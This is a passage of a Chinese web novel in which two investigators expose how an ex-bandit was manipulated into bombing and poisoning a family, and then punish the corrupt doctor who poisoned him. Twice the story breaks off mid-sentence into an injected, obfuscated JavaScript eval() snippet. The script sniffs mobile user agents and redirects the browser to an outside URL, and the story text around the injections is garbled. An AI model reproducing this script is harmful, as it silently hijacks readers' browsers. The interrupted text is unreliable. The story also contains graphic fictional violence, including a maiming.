他喝着茶，说起了自己此前的大半年间，怎么在附近几个州县镇里，分批地买入烟花；如何学着拆出硝石，制作出炸/药；到了那一夜，又是如何用牛车拉上山，连夜埋好。 最后，他在青幛镇的酒铺子上，要了一坛浊酒，慢悠悠地喝着，等待着大栖山上那惊天一炸。 周冶问：“谁给你出的主意？” 金三看着缓缓注入的茶水：“有一日，我在河边，见几个半大少年在水里炸鱼，突然就……计上心头了。” 说着，看了一眼自己的腿，自嘲地笑道，“我这身残体弱的，又只剩半条命，便只能使这些……阴损招数了。” 阴损，他既用了这两个字，还是个心有是非的人。周冶正要说话，却听背后一个轻柔的声音响起。 “你还在隐瞒。” 周冶惊得转头去看，见回雪扶着孟珂，不知何时站在了那里。 洗墨在一旁对着他摊手，又指着孟珂，意思是自己无可奈何，纯属被绑架的。 周冶顾不上去管洗墨，看着她那青白的脸色，无语道：“你……怎么……” 孟珂没理会他，对着金三道：“你的确是在河边看人炸鱼的时候定下这个计划的。不过，不是什么凑巧，也不是你一个人。而是有人约你去，刻意让你看到的。” 金三心下一沉，脸上却稳住了，摆出一副若无其事的样子，轻轻笑着。 孟珂叹了口气，“哪怕知道他今日背着你下了毒，差点害死那么多人，你也还要包庇他吗？” “你以为，只要你不说，我们就不知道他是谁，就抓不到他了吗？” 金三“哦”了一声，转头去看她：“你们没抓到人嘛，那还说什么！” “你以为他是谁？” 金三头一昂，不打算接话。 孟珂点点头：“原来你知道他是黑石堂的人，也知道他是孙九爷的心腹。” 金三还是不说话。 孟珂笑道：“但你一定不知道，他根本不是什么……石头寨遗孤！” 金三猛地扭头看向了她。 65. 济世 周冶知道，孟珂是不会走了，只好安顿她坐下。 孟珂坐下缓了口气，对那梗着脖子，一身抗拒模样的金三道：“难道你就没奇怪过，这些年一直都好好地躲着，怎么就让人找上门来了。” 金三脸色微微动了一下。当初，刘昆出现的时候，他的确也奇怪过，也没听刘大哥说过还有这么个儿子。但私生子一说，加上一些似是而非的细节，又让他渐渐打消了疑虑。 孟珂微微笑道：“我来告诉你，这个‘遗孤’是怎么一步步被人生造出来的。” “你的一次酒后失言，讲出了石头寨的一些往事。张举听到后，时不时拿出来喝酒吹牛。若只是这样，也就罢了，可坏就坏在他在赌坊大闹的时候，当众嚷嚷了出来，还骂上了孙九爷，成功引得管事的注意，传到了孙九爷的耳朵里。” “于是，张举被查了个底儿掉，而你，也被挖了出来。” 听到这里，金三已经僵住了。他在张举家遇到那个年轻人的时候，就心知坏事了，但也以为只是自己和张举暴露了而已。万万没想到，这事背后竟引出了一个局来。 孟珂道：“这孙九爷一听就知道，你是一把捅向他老大的、最趁手的刀。这刀有了，他还需要一个使这刀的人。毕竟，你这样孑然一身的人，威胁不动，也利诱不了。于是，他便遣心腹刘昆，以故人之子的身份来接近你……” 刘昆最初找到金三，只说想知晓自己父亲是什么样的人。他从闲话一些不痛不痒的旧事开始，一步步套出了过去那些事，又激愤地誓要子报父仇，挑得金三那积攒多年也消磨了多年的怨愤，火星复燃起来。 等他发现自己命不久矣，便开始准备起了个同归于尽的复仇计划……谁知，曾怀义竟先一步死了，他的计划只好跟着变化，如今回头去看，自己也觉得茫然，怎么就走到了这一步？ 而这一切……竟从头到尾都只是别人的计划？！不，不会的，怎么会呢？明明……明明不该是这样的。 孟珂和周冶相视一眼，他们都知道，金三已经明白了，只是一时还不能接受。 孟珂又再推他一步：“你被黑石堂利用，成了他们捅向曾家的那把刀……” “刀又怎样？”金三嘴硬道，“我扎死了曾家人，复了自己的仇，这就够了！” 孟珂“哦”了一声，笑道：“是吗？你成功了，满意了？你可以含笑九泉，去底下见那些老兄弟了？那你知道张举如今在哪么？你能安心去见他爹么？” 金三低下了头，又猛地抬起头来：“他……这关他什么事！他什么都不知道，什么都没参与！” “是啊，他什么都不知道，也什么都没参与。但从他说出那些事，成为设计你的工具的那一日起，就注定活不成了！” 孟珂顿了顿，慢慢地道，“他死了，便没人知道你和他的关系。这曾家的种种是非，就只是石头寨的老人儿，找曾怀义复当年之仇而已。一切的一切，便同黑石堂一丁点关系都扯不上了。” “张举他......”金三闭上了眼，知道这话是白问了。 孟珂继续道：“你又知不知道，你所谓的命不久矣，也是假的——至少最初的时候是假的。” “不可能！”金三脱口道。 他那段时间日日晨起咯血，看了好几个大夫都不奏效，还是偶遇好心的郭大夫，替他诊治。吃了他的药，果然见效，奈何病势已成，无力回天。 周冶道：“这事不难验证。绥陵城这么多大夫，出门随便找几家，你说找谁就找谁，现场诊脉，看看说的对不对。” “可我的病势、症状，全都如他所说……” 孟珂道：“不过是药中被下了慢性毒药的缘故，分量、进度完全在人掌控之中，当然如他所说。你就没发现，你厨房外倒药渣的那棵树，都蔫了？而你先前图省钱，找的那些江湖郎中、赤脚大夫，都是骗钱的，自然也不管用！” 金三喃喃道：“他们......为什么......” 孟珂轻笑一声：“若不是觉得自己命不久矣，你会如此急于下手？你会选择哪怕伤害无辜也要泄愤？这么多年都等过来了，你为何突然就乱了，就坐不住了？” 金三的身子慢慢颓了下去。他低低地笑了起来，还以为自己是在为兄弟们报仇，结果只是被人磨成了手中利刃。只不过，一开始的目标是曾怀义，后来改成曾家其他人罢了。 孟珂看了他一眼，“若他……是真心助你，今日为何要暗自跟踪，还背着你悄悄下毒？” 金三：“他......” 孟珂打断道，“其实，从你离开面摊起，刘昆就一直尾随着你。他见你去了张举家，知道你对张举的下落产生了怀疑，怕你猜到了真相，不再听摆布，而你果然不愿动手……他自然就帮你做了。” “其实，今日，你只要揣着毒药进了曾府，他们的计划就完成了。府上宾客被毒杀，而你自曝了身份，大闹了现场，身上还恰好有同种毒药——这便是你杀人的铁证。” 金三转头看向孟珂身侧的姑娘，这姑娘拿走了药，便是替他拿走了罪证。 “你如今被抓了，还什么都往自己身上揽，绝口不提他人，也怎么都扯不到黑石堂身上去。孙九爷这好一个万全之策！”孟珂笑了起来，“知道他为何要生造出那个‘遗孤’来了吧？既能保证成事，还能在成事后封严实你的口。” 金三已经将脸埋进了双手之中。 而孟珂眼前一暗，连坐都几乎坐不住了。 周冶忙道：“今日就先到这儿吧。” 他一个眼神，着人将金三带了下去，这才看着孟珂，无奈又恼火地道：“你本就大病未愈，还强撑了这么一天，现下又来审金三，这条命是不打算要了？” 孟珂早已是强弩之末，好不容易撑着一口气，才将这些话说完。她无力地看了周冶一眼，便由着他扶起身，正欲走，脚下却一空，竟又被他拦腰抱了起来。 *** 回到竹雨院，周冶将她放到了榻上，才把方才在牢里不好说的话说完：“你有话说，找个人传就是，何必这么硬撑着赶去。我大可等你好些，再一起来审。” 孟珂虚弱地道：“我们不急，有人急。” 周冶道：“我知道，牢里自会严密守着的。” 孟珂却道：“不，不用，看他们要做什么。” “好，好，好，你说了算，病人为大！”这话一出口，他便想到了另一句晦气话，忙住了口，帮她把被子盖上，“你好好歇着吧。” 孟珂无力说话，只好顺势抓着他的手，攒了攒力气才道：“还有……” 周冶看了看她的手，又去看她，只听她道，“等一等。” 这没头没脑的，周冶没听明白：“等什么？” “张举。” “等等张举？”周冶道，“可这人……一直都找不到啊。” “人不好找，可尸体就不一样了。” 见周冶点了点头，孟珂终于放心地闭上了眼，昏睡了过去。 等再醒来，回雪先灌了她一大碗药，然后才道：“金三死了。” 孟珂并不意外，只淡淡地问：“怎么死的？” “就在牢里，一头撞在了墙上。” 孟珂点点头：“你去请大人过来，五儿，给我梳妆。” 周冶见回雪亲自来请，只当是孟珂病势有反复，一句话没问就忙赶了过来，却见她好端端坐在妆台前，刚梳完妆。 孟珂被五儿扶着起了身：“我们去一个地方。” 看她如此虚弱，周冶不由皱起了眉：“去哪里？” “去了大人就知道了。” 周冶犹豫道：“你这能出门吗？还是让大夫看过再说。” “无妨，已经用过药了，何况就见个人而已。”孟珂道，“金三死了，但有人还活着。再不去，只怕有人也要跟着死了。” 当时在曾府内，看到刘昆的人影一闪而过，侍剑便追了上去，但刘昆功夫不错，现场人又多，还是让他跑了。这刘昆流窜在外，终究是个隐患。 见马车一路往北，钻入了陋巷。 周冶心下疑惑，城北住的都是贫苦人，城南和城西的显贵，无事根本不会踏足此地。她拉自己上这儿来干嘛？ 马车七拐八绕地在巷弄里钻了半天，终于停了下来。 周冶掀帘一看，是个医馆。那写着济世堂三字的牌匾都斑驳了，大概几十年都没换过。他顿时明白了，是金三的药…… 踯躅间，回雪已经扶着自家小姐进去了，周冶忙提步跟上。 小二迎出来见是贵客，忙热情招呼了，就去请大夫出来。 医馆虽破，这大夫却富态。 周冶见出来个身形矮胖的中年男人，原本就短的脖子，胖得起了层层褶皱，脑袋简直跟坐在肩头一样，肚子浑圆鼓胀，没一点医家保养身子的样子，偏还穿着一身褐色镶金的衣服，倒活脱脱是个蟾蜍成精的模样。 这蟾蜍精顶着双肿泡眼，目光却精亮，一眼看出来人出身不凡，堆起满脸的笑，迎了上去。 回雪先开了口：“郭大夫对吧。” 那一身金彩辉煌的蟾……郭大夫连连点头，扫了几人一圈：“几位贵体临贱地，可是看病？是这位小姐吧？” “我们不看病，”回雪道，“有几句话问你。” 郭大夫眼珠子又来回溜了一圈，笑道：“这……要看几位想问什么，小的答不答得上来了。” 回雪冷声道：“金三，认识吧？” “金三？”郭大夫装作思考的样子。 “别装了！他在你这儿看了一年多了，之前每三五日就来一趟。” 郭大夫一拍脑袋，笑道：“哦，他啊！城北这破地方，病人都叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999162|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金三李四王五麻子的……小的一时也不知贵人说的哪个，不敢胡说。那……几位既都知道了，又何必再来问小的。” 周冶使了个眼色，侍剑便去翻找起脉案和药方。 郭大夫就要去拦，却被周冶拦住去路：“你身为大夫，挂着个济世的牌子，干的却是草菅人命的事，可知罪？” 郭大夫摸不准来人身份：“冤枉啊！小的一直按脉诊病，即便有些病人无力回天，也与小的无关，哪来的草菅人命一说？” 孟珂笑道：“我们既然这么说，那自然是有备而来。那金三日日晨起咯血，不过是牙口问题，你却偏说他病入膏肓，命不久矣。” 郭大夫心知肚明，却还是装出一脸惊讶：“不会吧？也许……可能是......小的医道不精，有误诊也未可知？各位贵人明鉴，小的绝无故意害人之心啊。” 侍剑正好拿了脉案出来。周冶使了个眼色，一把剑便倏地飞出，从郭大夫的脖子处呼啸而过，扎在了他身后的柱子上。 剑柄还在眼前晃着，郭大夫朝另一边挪开了脖子，抖着手，摸了摸闪过一丝疼痛的脖子，看到手上的血，腿当即软了。 他颤着一双大粗腿道：“我……我也是被逼的！我也只是听命行事。若不这么做，我……我一家老小也就死了。” 孟珂上下打量了他一遍，轻笑道：“拿钱逼的？” 周冶指着外面的破败之象：“就医治这些人，你郭大夫如何能穿金戴银，吃香喝辣？” 孟珂补了一句：“还养了八房妻妾。” 周冶愣了一瞬，不由回头扫了郭大夫一眼，心道，看着身体不太好，其实不然？ 那郭大夫已经跪倒在地，求饶道：“我加的那些药，也就是让他症状看起来严重一些，没下死手，没要他的命。” 孟珂冷笑道：“这可由不得你说！要不是你收人钱，说假话，下毒药，让金三觉得自己行将毙命。他怎会剑走偏锋，一出手就害了数条人命？这每一条，可都是要算在你头上的！就你这一条命，可不够抵的。” 回雪的手微微一动，一把匕首便自从袖中滑下，反手将柄握在掌中，冷笑着道：“少不得要凌迟，方能略略消解这些冤死之人的怨气。” 周冶拔下柱子上的剑，搭在郭大夫脖子上，淡淡地道：“是谁的指使？” 郭大夫一脸哭相：“小的……实在不敢说！” 周冶抬剑正要逼近，一把匕首倏地飞至，郭大夫本能地往后一缩，那匕首直接扎着他胯/下的衣服，将其钉在了地上。 侍剑和周冶不由都觉得身子一僵，相互看了一眼，要想转头去看，又都忍住了。 “怕死，不敢说？”回雪一步步逼近他，拔出匕首道，“是现在立刻就死，还是过后再死，你自己选！” “我说！我说！”郭大夫举起手，又忙捂住了胯/下，“就是......就是那黑石堂的刘昆。” 周冶道：“将你们的勾当一五一十写明，签字画押。” 等切结书写好，金三的脉案和药方也找了出来，周冶一一看过，又递给了孟珂。 孟珂看了，却对他道：“你先上马车，我还要……请郭大夫替我诊治诊治。” 周冶看着她，顿了顿，对侍剑朝外甩了甩头，示意他一起出去。侍剑不解地看了看孟珂主仆，跟着出去了。 见那二人出去了，雨歇举着匕首，转头问：“小姐，废了他这只作恶的手，让他再不能害人？” 孟珂摇了摇头：“即便从此不能切脉行医，他敛的财，也够守着八房妻妾，好好享受下半辈子了。那岂不是太便宜他了！还是废了……他的子孙根吧。暂时留着这手，行医治病，还能多少赎点儿罪。” 说着，她看向郭大夫，“今日起，若再有一起害人之事，无论大小，每一事，废你一只手脚，没了手脚，就割舌头、耳朵……最后做成个只留右手的人彘，仍要日日碾药做工，慢慢赎罪！” 雨歇举起匕首。 那白光在眼前一闪，郭大夫当即一声尖叫，往后连连退了几步。 侍剑转身要看，却被周冶拉住了：“我们什么都没听见，也什么都不会看见。” 郭大夫睁眼一看，身上哪儿都没事，抬眼再看，见那姑娘收了匕首入鞘，心下正庆幸逃过一劫。 这时，却见她四下看了看，起身从柜上操起一把称药的戥子，捋下秤砣，在手中掂了掂。 郭大夫心道，不好！一声凄厉的惨叫随即响起，在济世堂内久久回旋…… 雨歇两手一擦，对小姐调皮一笑，道：“可不能脏了我的匕首。” 二人从济世堂出来，见了周冶主仆，一个没解释，一个也没问，方才的连声尖叫，仿佛压根没出现过。 马车慢悠悠地穿街过巷，半晌，周冶才道：“小姐到底是如何介入这些事的，现在可以说上一说了吧？” 66. 雨歇 孟珂看了周冶一眼，正要开口。 周冶拦道：“不，还是先让我来猜上一猜。” “你要查当年的内情，必须得从那几个当事人入手。他们毕竟是一起干坏事的，在这件事上是一损俱损的攻守同盟。但他们也并非铁板一块，有利益纠葛，也许还有恩怨情仇。故而，你得瓦解对方的联盟，得让他们内讧，最好彻底撕破脸，才能为你所用。” “曾怀义一死，不管是顾念交情也好，还是觉得他儿子年轻好摆弄，仕途能进步，比不入流的梁云钦、上不得台面的孙九爷更有价值也罢，上头怎么都会看看，他们能不能用。” “但上头不会直接拍板，轻轻松松地扶他儿子上位，起码要先观望观望。不，准确地说，是让他们自己先杀上一杀，互做磨刀石，试试成色，养养蛊。谁最好用，最忠心听话，就扶谁。” 孟珂拍了拍手，笑道：“大人何必还问我呢？你说得没错，上头给他们都暗示过，要扶他们，而他们都死守着这个暗示，不想让对方知道。” 但她怎么能不让他们知道呢？ 孙九爷知道了，自然要抓住所有机会，乃至生造机会，把梁云钦往死里逼。而梁云钦也不傻。 他一个钱袋子，没孙九爷心黑手狠，却自有其奸。他很清楚，没了曾怀义，自己就是个没有保护伞的钱袋子，就如抱金过闹市的孩子。一旦曾家死完了，就该轮到他自己了。 他知道自己斤两，只想守着钱，过富贵安稳日子，不想铤而走险，干那赔本的买卖。故而，一直对孙九爷虚与委蛇，不反对，却也尽量不亲自沾手。 奸商不想当土匪，但土匪却一定想要奸商的银子，也不介意顺便要了他的命。 看着他们出手，等着他们漏出破绽，她只要从中轻轻推波助澜，便能借孙九爷的手逼梁云钦跳反，让他们相互撕咬了。 “那孙梁二人，势必不愿放弃手头的既得利益，要落袋为安，就得对曾家动手。”周冶看着孟珂，眸子里透出一抹亮光，笑道，“而你，只要盯着曾家，就能发现他们的动作，再顺水推舟。” 孟珂微微点头，含笑坦承道：“对，我的人一直盯着曾府，发现了盯着曾府的金三。尾随他一段时间，自然便发现他一次次买烟火，发现他在家埋头拆制，发现他一次次在坟头谩骂，便知道了他的计划。” “他既然命不久矣，便一定会找最近的、伤害性最大的机会下手——我猜那便是清明阖家祭祀的时候。从他买进烟火和制作的速度来看，也是如此。可曾立带妻儿回家却成了个变数……” 周冶也疑惑：“难道他以为曾家上下都会同去？” 孟珂摇头：“他既是得了消息，便应该知道只有曾立父子二人。至于他为何依然选择这么做……” “我想，一则，是他不知道自己还能不能活到清明。那个姓郭的，给他说的是长则三四月，短则个把月，说不清。这显然是背后之人等不及，在给他压力，逼他快些行事。二则，他看到曾立抱着孩子回来，看到曾家三代同堂，仍屹立不倒，看曾怀义享用儿孙祭祀，也……多少受了些刺激。” 说着，孟珂微微凝眉，“我有一种感觉，应该还有什么事，让他哪怕只能得手这么一次，也要去做。” “总之，我担心他可能要改变计划，甚至利用年节，制造更大的惨案……于是，知道曾立要去祭奠的消息，当夜便派人去坟头埋了炸药。” 周冶和侍剑同时都看向了她。 孟珂嘴角一勾，给二人看了回去：“金三要炸的是活人，而我，炸的是死人。” 她抬了抬眉毛，“让曾怀义粉身碎骨一回，也算是给自己出口恶气。” 周冶看着她，道：“但最重要的，还是挑破他的计划，一则给曾家提了醒，二则，衙门定会排查并严管烟火。有了防备，他同样的手法便难以成功了。” 他想到了更坏的境况，“不然，如今正值年下，到处的庙会、集市，还有上元灯节，能出大事的机会太多——他要是一时逼急了，只怕会去伤及那些……真正的无辜。” 孟珂自嘲地一笑道：“我料得太准了，他果然提前了！可没料准的是，他也是在那夜——就在我的人走了之后。就这样，阴差阳错的……反助了他一臂之力，让他搞得更轰轰烈烈了。” 雨歇在旁忍不住道：“我们埋坟头的那些是最后才引爆的，根本没伤及任何人。我在一旁盯得仔细，就是为了以防万一，结果还是出了万一……” 周冶看看雨歇，又看着孟珂：“这就是为什么你宁愿惹嫌疑上身，也不想说出这一切，不想让我立刻抓住金三的原由。因为你还要顺着这根藤，摸出后面的瓜来。” 孟珂道：“没错，孙九爷和梁云钦各人打着各人的算盘。既想合力对付曾家，也想借机解决对方。一个巴不得对方出手，自己坐收渔利。一个不介意自己动手，但得把锅甩给对方。” 她手一摊，“于是，就都扯进来了。” *** 周冶心道，好心机，好盘算。若不是看到她一再出手救了曾家，此刻只怕不知会如何忌惮于她。 他看着她，半晌才道：“今日这一场……你又救了曾家。” 孟珂笑笑，先自叹了口气道：“救曾立父子，我有那么一瞬的犹豫和……不甘。可下毒这事，却没有一丝可犹疑。因为这涉及那么多人，因为我不想让背后之人得逞，也更因为……我不想让金三成为一个……更深更重的悲剧。” 想到金三，她唏嘘道，“他可以潦倒，可以失败，可是，不应该一次次被当成工具，利用殆尽……与其说我是丝毫不纠结地帮曾家，不如说，我是毫不犹豫地帮他。” “因为你们有共同的仇人？” 孟珂摇头：“因为谁都可能成为金三。” 他伤害无辜，论罪该诛，这一点毫无疑问，连他自己都不曾想要脱责。可是，若易地而处，谁又能保证，自己就能比他强呢？ 触及复仇之心，公平公道之事，周冶恐怕难免有一番争执。她现在身体虚弱，还是不要再惹她心绪动荡的好。他转而问道：“依你看，这一击不成，他们还会对曾家出手么？非赶尽杀绝不可吗？” “其实没必要。曾立已死，曾铭……没那个心。”孟珂道，“有今日这一遭，倒让我怀疑，这当中应该有什么私怨在内。虽然我现在还不知道那到底是什么。” 孟珂不由想到了邵夫人，想到她在梁夫人面前的瑟缩模样。之前还可以说，是她生性畏缩，或惧怕权势；但见过她在自己面前的跋扈模样，这条便可排除了。 这份私怨，同这二人应该脱不了干系。 见她陷入思索，周冶问：“小姐是想到了什么？” 孟珂回过神来，看了周冶一眼，随口道：“我在想，曾家还有一个儿子，一个老……夫人，事情便还没完。若不能早日把这些人揪出来办了，大人就等着继续办第三、第四个案子吧。” 周冶知道她搪塞自己罢了，讥讽道：“既如此说，小姐想必已经有了下一步谋划。也不知，这次可能事先同周某通通气，还是又得等到事了再揭晓？” 孟珂不接，调笑道：“我才助大人拿到郭大夫的罪证，这一口气还没喘上呢，又要驱使我这病人了？” 她装模作样地叹了一声道，“既如此，我就再思量思量。” 过了半晌，她似自言自语道，“现如今，最重要的是让他们两边继续掐。” 周冶做出一副谦恭样：“还请小姐指教。” “刘昆若是抓到，也要压着消息。”她笑道，“让梁云钦急上一急，让他与孙九爷把彼此逼到绝路，彻底倒向……大人，为大人所用。” “为我所用？”周冶笑道，也不同她争辩，这好歹也算通了一点气了，于是道，“这也是为什么你要我等一等张举？” “对，”她说着，露出个神神秘秘的笑，“这张举嘛，已经在路上了。” 周冶还想说什么，想了想，也不说了，嘴角闪过一丝狡黠的笑意，身子往后一仰，双手一枕，躺了下去，翘起二郎腿道：“行！就听小姐的。有了这么个军师，我何愁案子不破。” *** 孟珂冷眼看着他：“你好意思吗？” “什么？”周冶侧过头看她。 “你一个好手好脚、身强体壮的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此刻，孟珂面朝着窗外，手肘支在窗上，脸上终于露出强忍痛苦的神色。 借着身子遮挡，她掀开一点衣袖，看着手臂上如浓云密布的紫红色印记，正像那洇开的花清加洋红，层层叠叠晕染着，往里头蔓延开去……她闭了闭眼，伸手进去，五指狠狠地掐入了自己肌肤。 *** 路上经过李记点心铺，孟珂叫停了马车，让雨歇下去买了些。雨歇素来喜欢吃，正好让她自己去挑些。 重新上车来，就听周冶指挥车夫去南酩楼，孟珂掩住疲弱，强打精神地说道：“不去了，本就吃不了几口，不如回去歇着。” 周冶却不依：“不是说我使唤你吗？我这就制备一桌绥陵城最好的酒席，恭恭敬敬地请小姐，感谢小姐指点、帮衬在下。” 又道，“当然，小姐这样的，不是一顿饭就能谢，就能请到的。便是要三顾……我……竹雨院，也是愿意的。” 侍剑直眉楞眼地道：“现如今，公子你一天就不只三顾呢吧。” 雨歇忍不住笑了。 孟珂却没搭腔，听见外面人马喧嚣声越来越大，掀帘一看，发现主街上灯火辉煌，惊道：“今日是……” “上元节，你忘了。”周冶笑，“我在小姐那儿蹭了除夕夜，这上元夜嘛，也让小姐蹭回一顿。小姐可愿赏脸？” 孟珂笑笑，实在是过得日子都忘了。这些年，若是不在卢府，不跟着别人家过，她自己……也许都想不起来去过什么年啊节啊的。 周冶道：“府里的一会儿也来。” 一听这话，侍剑不由看向了雨歇。 回程路上，他看着她欲言又止好几次，纠结地道：“回……雪……姑娘。” 雨歇扫了他一眼：“我叫雨歇。” “雨歇姑娘。”侍剑笑道。 见他竟笑了，雨歇白了他一眼：“有什么好笑的？名字不好听吗？” 侍剑连连摇头，随即又发现，这摇头很容易误解，忙又解释道：“我是说，没有不好听！好听！” “别在有人的地儿叫！” 侍剑连连点头。 孟珂又暗暗掐了掐自己，心道，今日，便不扫这个兴吧。 67. 无常 孟珂到了南酩楼一看，见洗墨和涤砚都已经候着了，看来这顿饭是早有打算。 周冶冲着二人问：“五儿怎么不在？这竹雨院的，一个都没来？” 红荔走出来道：“五儿姑娘回熹园取些东西，就不来了。” 周冶看着她，心道，这红荔倒还成她的人了，又看向了雨歇，这回雪既有蹊跷，五儿想必也有些本事，她身边倒是没有无用之人。日后倒要瞧瞧，还能出什么惊喜。 他没再多说，径直往里走去。 倒是雨歇道：“小姐这奔走了半日，风尘仆仆的，先去更个衣吧。” 说着，便和红荔二人服侍小姐而去。 周冶看着那三人的身影，倒看出一种常年主仆才有的默契和信任，心道，这池记的人果然是不错。虽说，孟珂有时是需要个生面孔陪伴左右，可如她这般谨慎的人，愿意让红荔跟随左右、贴身伺候，可不会容易。 不过，今日更值得注意的是另一个。这个回雪能当着他和侍剑的面露功夫，可见是孟珂默许了的。想到此，一缕笑意不由弯上嘴角，她好歹是对自己交了些底。他转头对侍剑道：“房顶上那个，梁上姑娘，你早发现了吧？还悄咪咪帮着藏着掖着，当我们瞎呢？” 侍剑一脸惊慌：“哪个？藏什么？” “自然是房顶扔松子、医馆飞匕首那个。” 周冶笑道，“你要是真这么不中用，连这都发现不了，能让你当公子我身边这唯一的贴身侍卫？你是瞧不起自己，还是瞧不起你家公子我？” 侍剑实在不擅长撒谎，红着脸分辩道：“她并没有什么恶意，只是护持自家小姐罢了。” 周冶“哼”了一声：“就你在背后默默怜香惜玉，我们就都是不讲理的？也不看看人家领情吗？我看，人对你从来横挑鼻子竖挑眼的。那嘴皮子耍起来，你就只有吃瘪的份。若是动手打起来，你只怕也只能输的份儿吧？” 两人不约而同想到了济世堂内的尖叫。 周冶啧道：“这姑娘手狠！” 侍剑道：“孟小姐心狠！” 周冶看了他一眼，懒得与他分辩，又道，“待拿了那姓郭的归案，便让他那八房妻妾，分了钱财，散了。甭耽误人下半辈子。这天下男子最最想要的，很多的钱，和很多的女人，咱们一样一样，给他散干净了！” 侍剑撇撇嘴：“公子也狠。” 周冶却仿佛没听见似的，自言自语似地道：“她明知衙门要审要判，还要对这姓郭的动私刑，里面只怕还有文章。” “所以公子才装看不见，听不见？可等到公堂上相见，认出你来……” 周冶用终于聪明了一回，又不够聪明的眼神看着侍剑：“认出来又如何？人姑娘家留下来看诊，我先走一步，什么都不知道。再说了，他有证据吗？有胆子吗？” 洗墨完全不知道他们二人在说啥，一直努力找机会插嘴，见侍剑被公子噎了回去，舌头上翻了半天的那句话终于吐了出来：“不是，我只想知道，侍剑，你到底喜欢哪个回雪？” “什么……喜欢，瞎说什么！”侍剑的脸红到了脖子根。 门外，去厨房吩咐菜的涤砚走回来，正要推门，闻声乍然停住了脚步，听里面笑完了一阵，没了动静，这才推门进去。 *** 南酩楼内，为小姐夫人们更衣、歇息而备的厢房里。 红荔一关上门，孟珂便问：“金三的尸体可验看完了？” 她急匆匆带周冶去济世堂，一则是怕迟则生变，二则也是乘机验看金三的尸身。 红荔点头道：“仵作验过，金三确为死于头部撞击，没什么问题。我们等仵作验完了，才悄悄潜入去验的。果如小姐所料，他身上正是那两种毒。” 孟珂道：“初期下无常草之毒，起的是慢慢拖垮身体之效，只是，此毒来得太慢。故而，在需要之时，他们会再加些速效的毒药，以明显恶化的症状催其行事。药渣中的毒也淬出来了？可对得上？” 红荔“嗯”了一声道：“着实费了好一番功夫。寻常的药只熬三遍，可金三那药渣熬了不下五六遍。我们将那一堆全都搬了回来，熬了数不清多少遍了，最后才淬出那无常草之毒。” “无常草，学名新月草，也叫五月木，看着只是极其普通的路边杂草，只在春末夏初抽叶，在五月第一个新月的那几日开花。其花阳面色粉，阴面色红，状如伞，有八角，如此方可辨认。将其挖出，其根如木，有毒。” 孟珂顿了顿，带着一种五味杂陈的笑道，“当地人称其为无常草，既是无常索命之意，也是生死无常之叹，更在于其毒之防不胜防。” “误中此毒，极难察觉。初期只觉得不安，乏力，渐渐会出现眼花，头疼之症，但这原本就是常见的体征，寻常人不会在意。天长日久，人的体力渐弱，会变得嗜睡，常日觉得虚脱。到了后期，时时陷入昏迷。其时，脏腑已日渐衰竭，最终身亡。” 当初，她便是亲眼看着父亲一步步走过这一程。 初时，谁也没发现有什么不对，只以为是一时疲累，事多心烦。等到他身体日渐衰弱了，却也查不出病由来。 他日日头疼，夜不能寐，天天换着地方不舒服，可大夫来瞧，全身上下都瞧遍了，都看不出问题。什么名医都看过了，哪里都没事。可人就是越来越不好。 乃至油将尽、灯将枯之时，他们也懵然不知何故。看了多少大夫，吃了多少药，都无济于事，都只道许是心病所致，药石难医…… 父亲本是个做事极谨慎周密之人。母亲每每笑他，是穿钉鞋过河，还要拄根棍的人。可他慢慢地，完全变成了另一个人。 过去，他从不做母亲不悦之事，也从不曾对母亲有一句重话。可后来，他脾气日趋暴戾无常，连连做出非常之举，也每每拒不听人劝诫。就连那个天真不知世事的母亲，一眼就明白有问题的事，他都非要去做，还怎么都拦不住。 多年来，他们夫妻感情甚笃，是难得一见的佳偶。可那时候，母亲同他一度闹到要和离。 一开始，她们还以为，父亲是因为抱病致仕所致。久病本就摧人心志，原本的满腔抱负不得施展，何况连活着都成了煎熬，性情变化也算自然。后来，她六岁大的幼弟，偏又意外身故……于是，她们都以为，父亲身体和心志的迅速坍塌，是病痛的磋磨和失子打击造成。 但孟珂心中始终存疑。那几年，她游历天下，一直着意寻访，果然发现，父亲的症状像是中了一种罕见之毒，正是那无常草之毒。 她这才知道，原来，并非世事无常，而是人心无常。即便没有那场大火，父亲也会死于人心——却不是死于他自己那颗心。 “小姐？”雨歇见她久久未言语。 孟珂回过神来：“那无常草，跟济世堂的郭家脱不了干系。” 雨歇道：“可我一发现药渣有问题，就去查了济世堂，在那堂中和郭家都翻遍了，并没有找到。” 孟珂道：“不奇怪。此毒珍贵，量本就不会多，没那么容易让你找到。何况是计划将成的收网之时，他们自然也会处置。” “那我再去找找？挖地三尺也要找出来！”雨歇愤愤道，“要我说，还是太便宜了那姓郭的。什么悬壶济世的医药世家，我看是害人世家。就该彻底除了这祸患。” 说着，她突然想到了什么，恍然道，“小姐是要留着他找这毒！” “他这样的人，跑不了，想怎么料理还不是随时的事，不急。” 说着，孟珂将红荔带来的药服下，起身道，“行了，我们也该过去了。” 雨歇在身后问：“那这金三中无常草之毒的事，可要瞒着周大人？” 孟珂的脚步顿了顿，想到济世堂中他转头就出，上马车后又一句不问的样子，想到他马车内噎自己的场景，心道，也许......不该什么都瞒着他了。 *** 主仆三人回到包厢，菜已经开始上了。 雨歇看了看桌上的茶水，想到小姐刚服过药，于是要了壶热水：“这时辰了，小姐还是不要饮茶，免得影响晚间入眠。” 周冶知道她日日吃饭的时候，是要喝茶帮着顺下去的，忙吩咐道：“再备一壶老白茶，不要泡，我们自己动手。” 